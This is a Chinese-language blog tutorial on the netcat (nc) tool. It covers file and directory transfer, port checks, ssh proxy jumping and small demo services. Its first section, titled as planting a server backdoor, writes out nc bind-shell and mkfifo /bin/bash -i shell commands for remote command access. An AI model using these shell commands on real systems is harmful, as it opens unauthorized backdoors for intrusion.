nc很強(qiáng)大,容易讓人蹲號(hào)子


點(diǎn)擊「閱讀原文」查看良許原創(chuàng)精品視頻。
點(diǎn)擊「閱讀原文」查看良許原創(chuàng)精品視頻。
對(duì)于nc命令來(lái)說(shuō),可真的是要一行代碼調(diào)半天。因?yàn)檫@行代碼的威力是非常大的!當(dāng)然,用不好的話,還會(huì)給自身帶來(lái)麻煩。
netcat這個(gè)工具,簡(jiǎn)稱nc,是Linux上一個(gè)非常強(qiáng)大的工具(當(dāng)然也有windows版本)。由于它能力實(shí)在太強(qiáng),有些公司甚至對(duì)他進(jìn)行了隔離(quarantined)。比如rename掉,或者給000的權(quán)限。因?yàn)樗苋菀卓梢栽诜?wù)器上開(kāi)一個(gè)后門(backdoor),并且及其方便。

那nc命令在什么地方呢?where is it?
# whereis nc
nc: /usr/bin/nc /usr/share/man/man1/nc.1.gz
它告訴我,文件在/usr/bin目錄下。我們使用file命令來(lái)看一下它的屬性。結(jié)果發(fā)現(xiàn)它是一個(gè)鏈接文件。
# file /usr/bin/nc
/usr/bin/nc: symbolic link to `ncat'
從這里我們能夠看出,nc的全稱是ncat:Concatenate and redirect sockets。這是一把瑞士軍刀。
nc的參數(shù)非常非常多,如果列出來(lái),會(huì)讓你失去興趣,白白錯(cuò)過(guò)了這么厲害的工具,也錯(cuò)過(guò)了進(jìn)局子的機(jī)會(huì)。我們還是以案例來(lái)說(shuō)明,這款不到1MB的命令,為什么俘獲了xjjdog的芳心。
1. 服務(wù)器上安后門
下面的命令,將在機(jī)器上開(kāi)放5879端口。服務(wù)端:
# nc -l -vv -p 5879 -e /bin/bash
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::5879
Ncat: Listening on 0.0.0.0:5879
這個(gè)過(guò)程叫做反彈shell,遠(yuǎn)程就可以使用nc命令連接,做一些事情。
客戶端:
# nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
此時(shí),執(zhí)行任何shell命令,都可以正常運(yùn)行。下面這張gif動(dòng)畫可以驗(yàn)證這個(gè)過(guò)程。

想要更霸道一點(diǎn)的么?我們需要借助mkfifo命令。
在服務(wù)器上,執(zhí)行下面兩個(gè)命令,這就構(gòu)造了一個(gè)循環(huán)。
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/f
客戶端nc連接以后,竟然直接出現(xiàn)了命令行操作終端!
$ nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
[root@localhost~]#
你可能會(huì)說(shuō),我客戶端關(guān)掉之后,為什么服務(wù)端的命令也退出了?如果你想要服務(wù)端繼續(xù)監(jiān)聽(tīng),可以加上參數(shù)-k。
2.文件和目錄傳送
還在用sftp?還是用rzsz?
這些工具雖然好用,但需要安裝。有時(shí)候事情緊急,或者權(quán)限把的嚴(yán),并沒(méi)有這樣的工具。
此時(shí),nc可以來(lái)幫忙。
服務(wù)端同樣監(jiān)聽(tīng)一個(gè)端口,但是這次把重定向定向到一個(gè)文件。
nc -l 5879 > file
客戶端就可以啟動(dòng)一個(gè)命令將文件發(fā)送過(guò)去。這次是使用反向的箭頭。
nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gz
文件傳的飛快!而且由于沒(méi)有rsa那一套的加密,速度更快了。
查看它們的md5,一模一樣。
MD5 (redis-5.0.5.tar.gz) = 224cabf26d622f37528b398762e1578c
md5sum file
224cabf26d622f37528b398762e1578c file
我知道你的腦子里現(xiàn)在在想著怎么傳送目錄了。這個(gè)過(guò)程很有意思。
我們把nc的輸出,使用管道交給tar命令處理。xfvz和cvfz是一對(duì)參數(shù),你應(yīng)該猜到要怎么做了。
nc -l 5879 | tar xfvz -
沒(méi)錯(cuò),客戶端的代碼與上面的是相反的。不過(guò)這次,我們的nc命令接收了打包的文件。
tar cfz - redis-5.0.5 | nc -v 192.16.1.54 5879
真的是非常巧妙。
3.網(wǎng)絡(luò)連通性檢測(cè)
沒(méi)錯(cuò),這是nc命令最常用的地方了。
如果你想要判斷服務(wù)器的tomcat端口是否開(kāi)啟,不需要登陸到服務(wù)器上,然后再ps一下看一下進(jìn)程,或者使用netstat -antl看一下監(jiān)聽(tīng)的端口。
使用nc就可以了。
只需要簡(jiǎn)單的打上ip和端口,它就能知道結(jié)果。
# nc -vvv baidu.com 443
Connection to baidu.com port 443 [tcp/https] succeeded!
當(dāng)然,它也可以掃描主機(jī)的端口開(kāi)放情況。不過(guò)對(duì)程序員來(lái)說(shuō)用的不多。
nc -vzw 2 192.16.1.54 8888-99994.防火墻穿透
比如下面這張圖。你想要訪問(wèn)tongariro的這臺(tái)機(jī)器,但是你是沒(méi)有權(quán)限的。它只能通過(guò)aoraki的防火墻訪問(wèn)。同時(shí),aoraki也只能接受來(lái)自ruapehu的請(qǐng)求。

通過(guò)組合ssh命令可以達(dá)到這個(gè)效果。
ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariro
通過(guò)ssh的ProxyCommand,可以完成簡(jiǎn)單的配置。
使用下面的命令可以快速打通這個(gè)通道。
ssh -oProxyCommand="ssh host1 nc host2 22" host25.其他
你可以看到了。nc的這些能力,不是nc自身提供的,而是其他額外的命令。
比如,這里實(shí)現(xiàn)一個(gè)簡(jiǎn)單的時(shí)間服務(wù)器。web瀏覽器訪問(wèn)即可獲取。
ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK\r\n\r\nThe date is "; date;'
再比如,做一個(gè)遠(yuǎn)程視頻服務(wù)。

服務(wù)端。
arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 -
客戶端。
arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -****
推薦閱讀:
終于,百度網(wǎng)盤等來(lái)了真正的對(duì)手
5T技術(shù)資源大放送!包括但不限于:C/C++,Linux,Python,Java,PHP,人工智能,單片機(jī),樹莓派,等等。在公眾號(hào)內(nèi)回復(fù)「1024」,即可免費(fèi)獲取!!
